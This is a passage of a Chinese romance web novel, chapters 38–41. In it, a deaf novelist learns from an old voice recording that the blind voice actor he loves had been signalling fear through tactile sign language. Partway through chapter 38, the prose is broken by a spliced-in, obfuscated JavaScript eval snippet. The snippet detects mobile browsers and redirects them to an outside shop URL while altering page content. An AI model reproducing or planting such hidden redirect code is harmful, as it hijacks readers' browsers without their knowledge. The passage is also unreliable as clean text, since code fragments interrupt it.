虽说这人偶尔会冒出几句特有水准的话,但在乔辽面前,郭宝卓依旧是那个没什么脑子,乍一看还有点神经兮兮的东西。 乔辽跟着他们走进一家餐厅,郭宝卓帮着徐颂良拉开椅子,让这人先坐下去,然后自然地坐在徐颂良身边。 “坐啊,”郭宝卓指了指对面的位子,对乔辽说,“再不坐下来,我就把你椅子踢飞。” 乔辽瞥了他一眼,坐下后突然意识到,不对劲啊,郭宝卓这狗玩意儿不对劲啊。 这人怎么和徐颂良之间有点怪怪的呢。 实在是太奇怪了。 38. 回复 这顿饭吃得挺快的,郭宝卓估计是饿急了,吃得就跟三天没吃饭一样。 乔辽干脆也放快速度,但他不是很饿,吃完一碗就歇下了。 他支着个脑袋,坐在那里盯着对面那两个人看。 啧,郭宝卓竟然还会给徐颂良夹菜。 哦哟,郭宝卓还会帮徐颂良擦嘴。 我的天老爷,郭宝卓是不是被脏东西缠上了。 当郭宝卓吃完手里那碗饭,放下碗后,他看向乔辽说的第一句就是:“看什么看,你没吃过饭啊。” “没吃过。”乔辽说。 郭宝卓深呼吸一口气,说道:“我等会儿送他回去,然后我们两个去喝一杯。” “去哪儿喝,”乔辽看了徐颂良一眼,问道,“你不去?” “不去,我回家。”徐颂良是这么说的。 这句话,乔辽在十几分钟后终于明白了。 原来徐颂良说的“回家”,是指回郭宝卓家。 “你俩住一起啊?”乔辽站在门口问郭宝卓,“你把客卧租出去了?” “没租……”郭宝卓语气挺无奈的。 他让乔辽在门口先等一会儿,接着就带着徐颂良进了家门,乔辽看着郭宝卓在客厅里交代这个交代那个,最后一脸不放心地走到门口。 又回头对徐颂良说:“我晚点就回来,你不要出门。” 徐颂良明明都点头了,郭宝卓还是补上一句:“门口有监控,我能看见,你哪里都不能去,记住了吗?” “我知道,”徐颂良笑了笑,“记住了。” 郭宝卓终于关门了,门被关上的那一瞬,乔辽立马抬腿踢了身边人一脚,问道:“你俩怎么回事?找你学手语还能包住宿的?” “瞎说什么乱七八糟的,”郭宝卓叹出一口气,走到电梯边上按下按钮,“我是觉得他一个人挺不容易的……之前他不是找我学手语吗,那个时候还挺有干劲的,但没过多久,他整个人都变了,那张脸上整天见不到笑,也不爱开口说话了,我还给他说过,不开口不行,手语学不会可以慢慢来,但他每天都必须开口说话,要是对话变少,影响了语言能力,那就真的完了。” 乔辽“嗯”了声,电梯门打开,他和郭宝卓走了进去。 “然后呢,他怎么说?”乔辽问。 “他说他没办法控制音量,受不了别人的眼光,交流也变得困难,”电梯缓缓下行,郭宝卓眉头都皱了起来,“他说,他不想说话。” 乔辽挑了挑眉:“然后你就给他带到家里来了?” “他一个人在外面租的房子,上次他不是想不开吗……那事儿之后,房东就把他赶了,我能理解,谁都不想自家房子里死个人啊是不是,我真能理解,”电梯门打开,郭宝卓迈步走出去,“他那个时候给我打电话,说没地方住,问我能不能给他找个便宜地方,我问他多少钱是便宜,他说一百多就行,他什么都不要,只要有个地方能待着就行,没床都行。” 乔辽跟在他后面出了电梯,在地下停车室走了两步,走到郭宝卓车边时,这人突然问了乔辽一句:“你说,我是不是不该把他带回家?” “你当时怎么想的?”乔辽问。 “挺心疼的,我当时也不知道怎么想的,就想着反正我家里空着一间房,还不如就让他住进来,”郭宝卓打开车门,往车内指了指,示意乔辽上车,“但他住了进来,我就得负责任,我得照顾好他,你说对吧。” 不知道。 乔辽就连自己的事情都没弄明白,他只觉得郭宝卓挺冲动的,这人明显也意识到了这个问题。 他们随便找了一家酒馆,坐下之后,郭宝卓就一直在叹气。 现在这个点不算晚,酒馆里都还没客人,他们是第一桌。 郭宝卓一看就是来买醉的,这人完全没有细品的意思,一杯酒两口喝光,喝完再来一杯。 乔辽端着酒杯盯着他看,说道:“你别喝多了。” “我就是奔着喝多来的,”郭宝卓又喝下一大口酒,“辽啊——我压力太大了,真是压力太大了,这一天天的,弄得我每天都失眠。” “怎么还失眠了,”乔辽问他,“你睡不着都在想什么?” “想徐颂良啊,我想着,他以后怎么办,又想着……他要是哪天突然想不开,我又不在边上,那该怎么办,”郭宝卓愁得不行,他抬手胡乱抓了抓头发,“我得负责啊,我得照顾好他,我希望他能好好的,能把手语学会,能大胆开口说话,能够重新交朋友……我希望的太多了。” 郭宝卓这几句话念叨太多次了,他估计也快喝多了,嘴里一直不停重复着“责任”和“照顾”这种话,说到最后,这人的声音都变得哽咽。 时间越来越晚,店里的客人多了起来,挺吵的,乔辽也快要听不清郭宝卓在说什么,只能看见这人一直在不停开口。 乔辽干脆抬手比画:我觉得你挺在乎徐颂良的。 郭宝卓瞥他一眼,比画道:我有责任。 又是这一句,乔辽也懒得和他纠结了,直接比画道:行,这是你的责任,现在也不早了,各回各家吧,徐颂良不是还在家里等你吗? 听见这话,郭宝卓端起手边的酒一口气喝光,他拿出手机扒拉两下,接着就对乔辽比画着:稍等一会,我叫了代驾,你别着急,代驾来了就先送你回家,现在确实不早了,你也赶紧回去休息。 乔辽点头,比画道:知道了。 刚比画完这句,乔辽放在一边的手机亮了屏,他拿起看了眼,是一条好友申请,备注信息写着:徐颂良。 好友申请通过后,这人直接发来一句:挺晚了,郭宝卓什么时候能回来? 乔辽回复:很快就回来了。 徐颂良先是回了个“知道了”,接着又发来一句:谢谢。 乔辽没再回复,点开备注,给这人改好备注后,又点开易秋光的聊天界面,犹豫一会儿发出去一句:三季老师,你休息了吗? 一分钟过去,易秋光没有回复。 两分钟过去,易秋光还是没有回复。 直到代驾都过来了,乔辽都回家了,易秋光还是没有回复。 在电影院里的那个吻,就跟某种告别仪式一样。 这种断崖式告别来得太快,对乔辽的打击也太大。 他其实也有给易秋光发消息,但这人每次都是爱答不理的样子。 还有些时候,易秋光根本就不会回复。 这种感受,和失恋没什么区别,唯一有区别的,就是乔辽心里明白,他和易秋光根本就没有和好。 他每天除了坐在电脑前码字,就是去易秋光的微博看一看,要是没什么事,乔辽甚至都不会出门。 这段时间里,正在连载的文也完结了,易秋光有没有来看呢,乔辽不知道。 因为那个名叫“季”的读者没有评论。 其他读者在评论区问乔辽,下本新文准备写什么,乔辽没有回复。 因为他根本就没有任何灵感,下一本写什么呢,他也不知道。 乔辽都怀疑,自己已经快要写不出小说了。 这段日子,乔辽一直都过着重复的生活,直到跨年前一天,他收到了失眠行星工作室发来的微博消息。 乔辽也是没想到,他就是那么随手一转发,竟然还能中奖。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140572|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 工作室那边让乔辽给个地址,乔辽没有回复。 他打开聊天软件,点开易秋光的聊天界面,打字发送:三季老师,你今天有空吗? 易秋光这次回得倒是挺快:有点忙。 这三个字一出来,乔辽一下子就不知道该回什么了,在他犹豫的时候,易秋光又发来一条:恭喜你啊,中奖了。 乔辽看了眼时间,现在距离工作室下班还早。 他回复易秋光:谢谢,我收到工作室消息了,反正我就在江城,也没必要寄,我现在有空,能直接去工作室拿。 这句发出去后,乔辽没敢再看手机,他把手机丢到一边,打开衣柜拿出一套衣服换上,又去镜子前捯饬了一下。 忙完这一通,乔辽终于拿起手机。 他先是眯着眼睛,不敢看得太清楚,这种情况下,只能隐约看见易秋光回复了一句不太长的话。 手机被慢慢拿到眼前,乔辽把眼睛睁大了些,他看见易秋光回复道:好,那你直接来拿吧。 只要有这句话就够了,只要今天能见到易秋光就行。 乔辽压不住心底的高兴,他笑着戴上助听器和耳蜗,拿上手机立马出了门。 今天应该是个好日子,乔辽从出门的那一刻就这样认为。 先是微博中了奖,有了见易秋光的理由,接着就是一出门正好碰上空出租车,这一路上都是绿灯,就连司机都说稀奇。 乔辽的心情越来越好。 他都开始觉得,这是命中注定的事情。 今天的他,本来就应该去见易秋光。 当出租车在老城区停下,乔辽下了车几乎是跑着去工作室的,今天的天气冷得不行,跑起来时,冷风直往脸上吹。 乔辽也不想管这些,他只想快点,再快点,他希望,下一秒就能看见易秋光。 可很多事情,不会和他想象中那样顺利,那些太过于美好的期待,在乔辽见到易秋光的那一刻,瞬间破灭。 易秋光应该是听见他和别人说话的声音了,更何况,那些人也喊了他“故听老师”,易秋光不可能没听见。 但易秋光根本没有抬头望向他,只顾着忙手头的工作。 捕山月倒是和他说话了,这人手里拿着一个透明文件袋,里面放着一张明信片。 “故听老师,”捕山月拿着文件袋晃了晃,“这是你抽中的奖品。” “谢谢。”乔辽伸手接过,看都没看一眼,他的视线越过捕山月,停在易秋光身上。 乔辽都还没来得及说什么,捕山月就开始开口赶人了:“故听老师还有什么事吗?” “没有。”乔辽瞥了他一眼,脸上表情大概也不算好看。 “那你就早点回去休息吧,”捕山月笑着说,“我们这边还得忙一会儿。” 易秋光依旧低头忙着,看样子是不打算搭理任何人。 一个多月没见,这人好像瘦了点,眉尾的横眉钉也被头发盖住,易秋光今天穿了一件大衣,脖子上还围了一条纯色围巾,但这条围巾没围好,乔辽正想上前几步,帮忙把围巾整理一下。 但他刚迈出一步,捕山月就“诶”了声:“故听老师,你还有什么事吗?” “这个问题,你刚才已经问过了。”乔辽现在的语气明显变得不好,就算他反应再迟钝,也能感觉出来,捕山月对他有点意见。 乔辽正准备怼回去,易秋光突然抬起头,对着捕山月那边说道:“你很闲吗,赶紧去忙自己的事。” 这句话说完,易秋光又低下了头。 紧接着,乔辽听见易秋光说:“故听老师,你也先回去吧,不早了。” 39. 沟通 易秋光变了,变得陌生了。 就好像……前段时间的相处全都是一场梦,他们之间的距离也变得越来越远。 乔辽拿着文件袋走到咖啡店,买了一杯新品。 这杯咖啡挺苦的,不太好喝。 心里苦,嘴里也苦。 他边喝边往回家的方向走,反正等会儿也没有事情做,他不急着回家,更不急着去见谁。 回家的距离再远也没关系,他有的是时间,浪费一下也没关系。 走回去这一路,乔辽一脑袋问题,但他想不明白,也不想去琢磨,因为那些问题的答案都很糟糕。 他担心自己瞎琢磨的结果会成真,更害怕这些问题就连一个结果都没有。 但这些问题缠着乔辽,白天夜里都不肯放过他。 跨年那天,广播剧上线,有些读者给那本小说评论,希望能看见新的番外,还有些则是在微博上私信他,表达自己对这本小说的喜爱,期待了这么久的广播剧终于上线,制作也非常好。 乔辽在今天被爱意包裹着,可他心底还是空落落的。 因为易秋光没有给他发消息,就连一个句号都没发来。 跨年夜晚上,郭宝卓带着徐颂良,叫上乔辽一起去喝了几杯,借着微醺的酒劲,乔辽给易秋光发了消息。 他说:辛苦三季老师了,广播剧改编得很好,读者和听众都很满意,我也是。 半个小时后,易秋光终于回复了。 三季:谢谢,期待下次合作。 结束了,似乎……一切都结束了。 郭宝卓端起酒杯和乔辽碰了碰,接着喝上一口。 这人放下酒杯后,对着乔辽比画:新的一年,希望你越来越好。 乔辽笑了笑,也喝上一口,比画道:你也是。 徐颂良抬了抬手,慢慢对着乔辽比画出:祝你一切顺利,天天开心。 这次比画挺好的,乔辽不用靠猜就能看懂。 他笑着对徐颂良比画:你也是,希望你接下来的每一天都是美好的。 徐颂良点了点头,对他比画着:谢谢。 祝福是挺好的,但这些希望实在是太难办到了。 新的一年开始了,易秋光和乔辽的联系也没了,唯一留下的,就是易秋光那几件衣服,还有那些没人再来用的洗漱用品。 衣服被乔辽叠得好好的,放在衣柜里,洗漱用品也被他收到了抽屉里。 乔辽每天都是掐着日子过,广播剧的更新时间实在是拉得太长,最后一集就跟一直看不到头一样。 日子是熬着过的,晚上是睡不踏实的,乔辽决定给自己找点事做,写点番外是个不错的选择,但他就连开头都写不出来。 脑子里空有个画面,主角就跟定格一样,站在那里一动不动。 这算什么?失恋的后遗症吗。 大概不是。 这是失去易秋光的后遗症。 两年多了,从未好过。 值得庆幸的是,时间终究会走到那一天,就算日子再难过,乔辽等待的那一天,也还是会到来的。 二月,广播剧正剧完结。 失眠行星工作室发了微博,内容大概是感谢听众的陪伴和喜爱,现在开始征集FT问题,大家可以在评论区积极发言,到时候会从评论区挑选留言放入FT访谈中。 问题征集在一周后结束,FT形式为录播,嘉宾是双主役,还有三季和故听。 刚看完这条微博没多久,易秋光的消息就发来了。 这人先是把微博转发给他,后面还跟着一句:辛苦故听老师,录制的时候要麻烦你到工作室来一趟了。 乔辽也是没想到,等了易秋光这么久,会等到这样一条客气到不行的消息。 他盯着屏幕看了一会儿,回复道:不麻烦,具体几号去工作室? 易秋光很快就把时间发了过来,乔辽回了个“好”,聊天在这里也结束了。 问题征集进行挺顺利的,评论区里很热闹,乔辽偶尔会去看一眼,有些问题他都有点回答不上来,这种事他不擅长,更何况,这段时间他都没怎么说话。 乔辽都怀疑自己快要不会说话了。 离录制那天越来越近,易秋光给乔辽发来录制流程,还有那些被挑选出来的留言问题。 最后,易秋光又发来一句:你先看一下,有什么不懂的地方,我们到时候当面说。 乔辽还是只回了一个“好”。 好。 只要是易秋光说的,是什么都好。 下一次见到易秋光的时间是具体的,具体到上午十点。 现在的日子比之前更难熬,乔辽甚至还有些害怕。 他害怕见到易秋光,也害怕和易秋光说话了。 这段时间,郭宝卓忙得不行,这人没空陪着乔辽聊天,乔辽也担心自己这些事,说出去会让郭宝卓感到困扰。 他们是朋友,应该是交换快乐更多,不该是一味地听他的心烦事,乔辽一直都是这样认为的,但他也快要撑不住了。 挺累的。 看这个世界很累,说话也好累。 一天接着一天地失眠,在录制FT的前一夜,乔辽彻夜未眠。 他睁着眼等到八点,起床洗漱一下,换上一套衣服,围上围巾,戴上助听器和耳蜗后,拿上手机出了门。 现在时间还早,乔辽也没什么胃口,他买了一杯豆浆慢慢喝,今天的天空阴沉着,天气预报也显示,今晚会迎来雨夹雪。 这种天气会持续好几天,温度只会下降,短时间内不会上升。 乔辽拢了拢脖子上的围巾,喝上一口豆浆,他慢慢往工作室的方向走,也不知道走了多久,手机在口袋里振了一下。 拿出手机,点亮屏幕。 乔辽第一眼看见的,是郭宝卓发来的消息:你今天有空没,到我家来吃晚饭,我最近换了新家具,家里也换了风格,你正好过来看一眼。 也不知道今天要忙到几点,乔辽也不好给郭宝卓一个肯定的答案。 他只好回复:我今天有工作,不知道忙到几点,估计去不了。 过了几分钟,郭宝卓回复道:那很可惜了,我买了好多菜,还有个好消息想告诉你。 乔辽问他:什么好消息? 郭宝卓:我和徐颂良在一起了。 真是进展神速啊……乔辽向这人送上一大串祝福,接着回复道:等我有空的时候,请你和徐颂良吃饭吧,我们也好久没一起吃饭了。 郭宝卓回复道:别花那钱冤枉钱,我最近新学了几道菜,你到我家来吃就行,有空了就来啊。我也不和你说了,家里乱得很,我收拾一下。 下一秒,这人又发来几张图片。 前几张是他家的客厅和阳台,一眼看过去,家里确实挺乱的,但乔辽还是能从照片里看出来,这人换了一个大点的电视,家里还多了不少摆件,茶几也是新买的。 后几张是主卧和客卧的照片,同样也是乱得不行,主卧房间里多了一盏落地灯。客卧的床换了一张,比之前那个小,桌子也换了一张,比之前那张桌子要大不少。 桌前摆了两把椅子,一把椅子前面摆的电脑,应该是新买的,另一把椅子前面摆着书,还有些本子和笔,估计是郭宝卓工作时用的。 挺好的,看着挺有家的感觉。 乔辽是发自内心地为郭宝卓感到高兴,他又发出去好多祝福的话,最后让这人赶紧去收拾,他也要去忙工作了。 这些话发出去,乔辽看了眼时间,收起手机。 现在还早,他还能慢慢走,但手里那杯豆浆已经快冷了,乔辽几口喝光,丢掉空杯之后深呼吸一口气,冷空气钻进鼻子里带着刺痛,今天这天气啊,还真是挺冷的。 这一路走到工作室,乔辽腿都酸了,但他没觉得身体有暖和起来,手是冷的,就连脸上也被风吹得冰凉。 还有十几分钟就要到十点,乔辽走上二楼,第一眼看见的是捕山月。 这人对着乔辽笑了笑,这笑看着还挺客气的:“来了啊故听老师,进棚吧。” “好。”乔辽回给他一个笑,跟在这人边上走。 几步路后,乔辽终于看见了易秋光,他和另一个主役正在说着什么,乔辽就站在那儿,一直看着易秋光,直到他和那个人说完话。 易秋光终于望向乔辽那边,他冲乔辽招了招手,说道:“故听老师,你过来吧,我先跟你讲一下等会儿录制的流程。” “你怎么知道我来了。”乔辽朝他走过去,坐在他边上。 “捕山月老师给我发消息说的。”易秋光明显不想继续这个话题,说完这句,他就开始给乔辽讲录制FT的事。 乔辽确实不了解这行,他只能好好听易秋光说的话,在录制时做到最好。 这次FT的主持人是易秋光,开始录制后,乔辽还有些不适应,每次开口前都要反复在脑子里过一遍,但两位主役老师和易秋光都很会活跃气氛,乔辽那种紧张的情绪也慢慢被缓解。 很快就到了回答问题的环节,这一环节也是乔辽最不想面对的。 有些问题不用他回答,可有好几 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“嗯,那你的口头禅是什么?”易秋光问道。 “我的口头禅啊……”另一位主役想了想,笑着说道,“我好像没有这个东西啊。” “那你快别说了,”易秋光偏头望向乔辽的方向,问道,“我们的故听老师呢,你的口头禅是什么?” “我啊,”乔辽想了想,说道,“我好像也没有,平时说话挺少的。” “嗯,听懂了,故听老师平时很高冷,都不爱搭理我的,”易秋光接着说道,“第三个问题谁来回答呢?你们要是都不说,那我可就随便点人了啊。” “诶,你别瞎点,”捕山月主动回答,“我和三季老师的关系好点吧,但我没有什么事是他不知道的,没办法,关系就是这么好。” 乔辽瞥了这人一眼,也不知道哪儿来的胆子,直接开口说:“我不这么觉得,和三季老师关系最好的人,也有可能是我。” “哦?”易秋光似乎对这个回答挺感兴趣的,“既然你都这么说了,那故听老师,你有什么事情是我不知道的吗?” 这不是挖坑给自己跳吗…… 乔辽笑了笑,说道:“下一个问题。” “哎,故听老师还是放不开啊,行吧,下一个问题,”易秋光说,“这位叫‘见云朵’的听众想问故听老师,当初为什么要把两位主角设定成脾气暴躁的人呢,这两位总是三天一小吵,五天一大吵,闹不明白就打一架,这样的感情真的能维持下去吗?” “我当时给他们定下的其实不是暴躁人设,准确来说,应该是缺少沟通,”乔辽顿了顿,接着说道,“他们的每一次争吵都是有交流的,不是说打就打,当然了,我不提倡这种行为,在感情里,动手是不对的。” 说到这里,易秋光突然朝他这边望过来,似乎是在等着乔辽说下一句。 “两位主角动手的原因,是出于恋人对自己的不理解,到了后期,他们也能做到好好沟通,有话直说,”乔辽继续说道,“其实……我身边也有这样一个人,他应该也是想和我沟通的,但那个时候的我,没办法做到这点,对我而言,当初有很多遗憾,也有很多歉意,这些情绪,都是一道又一道迈不过去的坎。所以啊,大家如果在感情中遇到矛盾,一定要好好沟通,去听去看,用心去感受。” 说完这些话,乔辽下意识看向身边人。 易秋光没什么反应,也没再偏头望向乔辽的方向。 录制结束的时间比乔辽预估的要晚,但雨夹雪却比天气预报里来得早。 天都已经彻底黑了,外面也冷得不像话。 易秋光却没有要走的打算,他说,他还有工作要忙,捕山月和另一个主役也要在工作室多留一下。 要走的人,只有乔辽。 他看着易秋光忙碌的身影,无奈离开。 转过身的那一刻,乔辽听见易秋光咳嗽几声,他停下脚步回过头,对上的却是捕山月的视线。 这人皱着眉头,似乎是想让乔辽快点走。 乔辽再次转身,心里也沉得很。 快要走到工作室门口的时候,乔辽的手机振动一下,他拿出手机,看见屏幕上显示着一条未读消息。 发来消息的人是郭宝卓。 这人说:你赶紧来我家一趟,我收拾家里的时候找出一支录音笔。 乔辽停下脚步,回复道:录音笔怎么了? 郭宝卓秒回:是我以前给你的那支录音笔,里面录到了易秋光的声音,你赶紧过来。 40. 摇晃 乔辽跑了起来。 地面是湿的,空气是冷的,雨水夹着雪落在他身上,但乔辽不想停下脚步,现在时间不早了,老城区这边没什么车,叫车也一直没司机接单。 他只能不停往前跑,越快越好。 也不知道跑了多久,终于有辆空出租车驶了过来,乔辽立马抬手挥了挥,一上车就说出了目的地,车辆缓缓往前,他偏头看着车窗外驶过的建筑,脑子里乱得不行。 但他什么都不敢想,只盼着能赶快到目的地,能快点看见那支录音笔,听见两年前的易秋光到底说了什么。 终于,车停了下来,乔辽付完钱下车,拢了拢围巾就开始跑。 郭宝卓住的那栋楼离小区门口不远,乔辽却觉得这一路实在是太长了。 路灯的昏黄光亮照着乔辽脚下的路,雨夹雪越来越大,落在地面的小水洼里,打破水中路灯的倒影。 乔辽一脚踩进水洼,那些水溅上裤脚,弄脏他身上那件长款羽绒服。 前面那栋楼就是郭宝卓住的地方了,乔辽快步走到电梯口,按下上行按钮。 刚才跑得太急,呼吸都变得急促,等电梯下到一楼,他走进电梯按下楼层,这个时候,乔辽都怀疑自己快要不会呼吸了。 难受得很。 他盯着楼层数不断变化,最后停了下来。 乔辽走出电梯,走到郭宝卓家门口,抬手按下门铃。 门很快就被打开了,乔辽最先感觉的,是空调暖风吹到脸上,接着就是郭宝卓拉着他的胳膊,把他带进了门。 郭宝卓根本就没拽他,但乔辽还是踉跄一下。 可能是刚才跑得太急。 可能是外面太冷,冻得他反应都变慢了。 也可能,是他现在心里太慌,根本就没办法对郭宝卓的动作做出任何反应。 郭宝卓皱着眉,抬手在他眼前挥了挥,接着比画道:你怎么浑身都是湿的? “我……”乔辽声音都是哑的,“我跑来的。” “你淋雨了?今天雨夹雪啊,外面那么冷!”郭宝卓的眉头还是皱着,“你的助听器和耳蜗还好吗,能不能听见我说话?” “能,我能听见,”乔辽挺着急的,语速也变得有些快,“录音笔呢?录音笔在哪里?” 语速变快的后果,就是说话声音会变得奇怪,听着也不太清楚。 但郭宝卓能听明白,他往卧室指了指,说道:“在卧室里,我去拿,你就在沙发上坐着等我。” “好。”乔辽低头看了眼自己的鞋,上面全是雨水,就连衣服也是脏的。 算了,还是别去沙发上坐着了,身上衣服太脏了,乔辽站在门口没动,视线一直看着卧室方向。 郭宝卓从卧室走出来时,乔辽立马往这人手上看。 那支录音笔被郭宝卓拿在手里,乔辽站在那儿,死死盯着那支录音笔,郭宝卓离他越来越近,录音笔也离他越来越近。 “你站在这里干什么,去沙发上坐着,”郭宝卓说话的声音不大,“我现在这个音量怎么样,你能听清吗?徐颂良刚睡着,我怕声音太大会把他吵醒。” “能听见。”乔辽的视线还是停在那支录音笔上。 “那就行,走啊,去沙发上坐着,”郭宝卓说完就往沙发那边走,走到一半又回头,发现乔辽还在门口站着,“你别愣在那里,赶紧过来啊,沙发这边离空调近,正好能帮你把头发吹干。” “我……我鞋脏,衣服也脏,”乔辽看着录音笔,说话声音也变得更小,“你能不能先把录音放给我听?” “能,我找一下,”郭宝卓说完就坐了下来,“好了找到了,你快点过来,隔太远了会听不清。” 郭宝卓已经开始放了吗,录音笔发出声音了?好像没有,是不是隔得太远了? 下一秒,乔辽脱了鞋,他把那件羽绒服也脱了下来,随手扔在地上。 郭宝卓脸上的表情,看着还是挺愁的,但在乔辽往沙发那边走之后,这人明显没那么愁了,他把空调温度又调高了些,拍了拍自己边上的位置:“过来坐。” 乔辽坐到他边上仔细听着,那支录音笔就在郭宝卓手里拿着,可他现在依旧是什么都听不见。 “开始放了吗?”乔辽看着录音笔,“我怎么什么都听不见。” “现在就放。”郭宝卓说。 呼吸好像都变慢了,乔辽看见郭宝卓在录音笔上按了一下,录音开始播放。 乔辽只听见了沙沙声,这种声音持续了很久,但乔辽知道那个时候发生了什么,他永远都忘不了那天,也不可能忘记那天。 在沙沙声里,易秋光开了口:“你看懂了吗,乔辽,你懂了没!” 又过了一会儿,录音里响起一声轻响,应该是易秋光取下了那条手链,把手链放到桌上时发出的声音。 紧接着,他听见了一声轻笑。 原来他那个时候真的笑出了声音。 这个声音……怎么说呢,听着挺无奈的,甚至还带着一些烦躁。 录音还在继续,脚步声响了起来,是易秋光下了床,拿起盲杖。 然后,他们打了一架。 这段录音带着乔辽重回那天,越往下听,他心里的那种烦躁也越来越重,终于,他们停了下来,乔辽听见了易秋光的笑声。 眼眶开始泛酸,易秋光的声音再次出现。 这句话,终于被他听见了。 易秋光说:“乔辽,你打得这么用力,是很恨我吗,你不爱我吗,你为什么不明白我的意思,我很疼啊……我真的很疼。” 原来是这句话。 原来是这样。 录音后面,又成了沙沙声,在这种声音停下后,郭宝卓递给他一张纸巾,说道:“这支录音笔是我收拾家里的时候看到的,我刚开始还以为这支录音笔是我工作时用的,但我听了一下,发现不是。我估计……是你刚来江城,买了房搬家那次,我帮你收拾,实在是忙糊涂了,看见一支录音笔就以为是自己的,拿着带回家,随手一放,时间久了就忘了。” “嗯,”乔辽已经说不出话了,他沉默好一会儿,又说,“再放一遍吧,我想再听一遍。” “好。”郭宝卓说。 沙沙声响了起来,易秋光在两年前说出的那些话,又被乔辽听了一次。 听完后,乔辽就一直沉默着。 他和郭宝卓谁都不说话,直到乔辽再次说出那句:“再放一遍。” 一遍又一遍,易秋光也说了一次又一次。 “很疼”这两个字,不停在乔辽脑子里打转,他也不知道这段录音被放了几遍,乔辽只知道,易秋光说的那些话,每个字都会让他越来越难受。 沙沙声又响了起来,乔辽也跟着这些声音,再次想到那天晚上发生的事情。 易秋光拍掉了录音笔,易秋光猛地抓过他的手,易秋光开始在他手心写字,用力晃动着他的腿,他抬起手想让易秋光冷静一下,但易秋光拽住他的胳膊,摘下那条铃铛手链…… 等等……铃铛手链? 录音里有铃铛的声音吗? “再放一遍,”眼泪根本止不住,录音笔在乔辽眼里都成了模糊的,“最后一遍。” 郭宝卓没忍住叹了口气,他在录音笔上按了一下,沙沙声也再次响起,这遍录音听完,乔辽很久没有说话。 郭宝卓跟着他一起沉默,过了好一会儿后,这人说:“现在太晚了,你也别回去了,就在我这里住,我去给你拿条毛巾,你先去洗个澡。” “郭宝卓,”乔辽终于抬起头,他看着郭宝卓问道,“你刚才……在录音里听见铃铛声了吗?” “没有。”郭宝卓说。 “怎么会没有铃铛的声音,”说话都是哽咽的,乔辽说几个字就要停几秒,“我当时戴了铃铛手链啊,易秋光还把那条手链从我手上拿下来了……不应该没声音,怎么会没声音?” “你先冷静一下,你听我说,”郭宝卓把录音笔放到一边,又抽出一张纸巾递过去,“我记得你那条铃铛手链 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“乔辽,”郭宝卓深吸口气,用手语比画出“冷静”,“我很肯定,绝对没有记错,那条铃铛手链就是没有声音的。你说易秋光靠铃铛声来认你,但你有没有想过,你们认识了这么多年,在没有铃铛手链之前,他是怎么认出你的?易秋光看不见,但他听得见,他的听力是很好的,有没有这样一种可能,只要你站在他面前,什么都不用说,他就能知道那个人是你。” 乔辽看着郭宝卓,问道:“不靠铃铛声?那他怎么才能认出我?” “脚步声,还有气味,”郭宝卓说,“我认识的几个视障朋友,他们能听出朋友的脚步声,他们说,每个人身上的气味也不一样,很好认。” 乔辽彻底愣在那里,郭宝卓抿了抿唇,看着挺无奈的,他叹出一口气,把手放在腿上,接着就往沙发上靠。 看见这个动作,乔辽皱了皱眉,他伸出手,把手放到郭宝卓腿上晃了晃,接着加大力度,不停摇晃。 “怎么了?”郭宝卓看见乔辽这样,也不敢继续靠着,他坐直身子,又问了一次,“你想说什么?” “那天晚上,易秋光就像这样晃着我的腿,不停在我手心上写字,”乔辽又开始轻晃郭宝卓的腿,“刚开始就是这样,慢慢地,轻轻地晃。” 郭宝卓问他:“然后呢?” “然后就是这样,”手上的晃动变得强烈,乔辽说,“我到现在都不明白,易秋光这是什么意思。” 郭宝卓沉默了很久,最后说道:“我之前去外地学习,学到了一种沟通方式,叫‘触觉手语’,这种手语能让视听双障碍者通过肢体接触,与他人进行沟通,在触觉手语里,轻晃腿是害怕的意思,大力摇晃是特别害怕的意思,会害怕到发抖的那种。” “害怕?”乔辽简直不敢相信这个回答,“易秋光是在告诉我,他很害怕?” “不确定,但这个动作确实是这个意思,”郭宝卓问他,“易秋光当时在你手心写了什么?” “佟舟,他写了佟舟……其他的我没看懂,”乔辽说,“所以,他是在告诉我,他害怕佟舟,很害怕佟舟,是吗?” “这个问题的答案,只有易秋光知道,”郭宝卓站起身,往浴室指了一下,“现在真的太晚了,你赶紧洗个澡睡一觉。” 乔辽没点头,也没摇头,他看着郭宝卓走进客卧,再出来时,手上也多了一条毛巾。 “去洗澡,然后睡觉,”郭宝卓把毛巾递给乔辽,“你别哭了,眼睛都肿了。” 乔辽接过毛巾,还是坐在沙发上,过了一会儿,他拿出手机问郭宝卓:“我是不是该给易秋光发个消息?” “发啊,”郭宝卓说,“想发就发。” “那我说什么?”乔辽说,“我想问得太多了,现在也不早了,他是真的认出我了吗,他会不会不回我消息?” 乔辽心底乱得不行,说出来的话也没什么逻辑,东一句西一句的,郭宝卓看了眼乔辽手机上显示的时间,现在已经是凌晨了。 “你就问他,还在忙吗,睡了没,”郭宝卓说,“等他回了,我们再想想该说些什么。” 乔辽说了声“好”,打字发送:还在忙吗,睡了没? 下一秒,屏幕上跳出红色感叹号,消息发送失败。 41. 雨伞 乔辽盯着屏幕看了半天,最后抬头问郭宝卓:“这是什么意思?” “网不好。”郭宝卓连忙说。 “他把我删了,”手机被息屏,乔辽靠上沙发,抬头看着客厅那盏刺眼的灯,“易秋光把我删了。” “删了就删了,以后肯定还能加回来,”郭宝卓安慰他道,“现在也这么晚了,你最应该做的就是好好休息,等你睡好了,天也亮了,等天亮起来,我陪你去找易秋光。” “我现在——”乔辽站了起来,话都还没说完。 郭宝卓立马抬手比画:冷静。 “现在都几点了,易秋光肯定也睡了吧,就算他没睡,在忙工作,但今天真的太冷了,外面雨越来越大,出门不方便,”郭宝卓往窗外指了指,“你看看,外面都没人了,你现在过去找易秋光能干什么,他能让你进家门吗,你们能聊出什么结果吗,你就待在这里,老老实实地等着天亮,到时候我陪着你,一起去找他。” 听完这些,乔辽又哭了起来,眼泪不停往外流,鼻塞也令他感到难受。 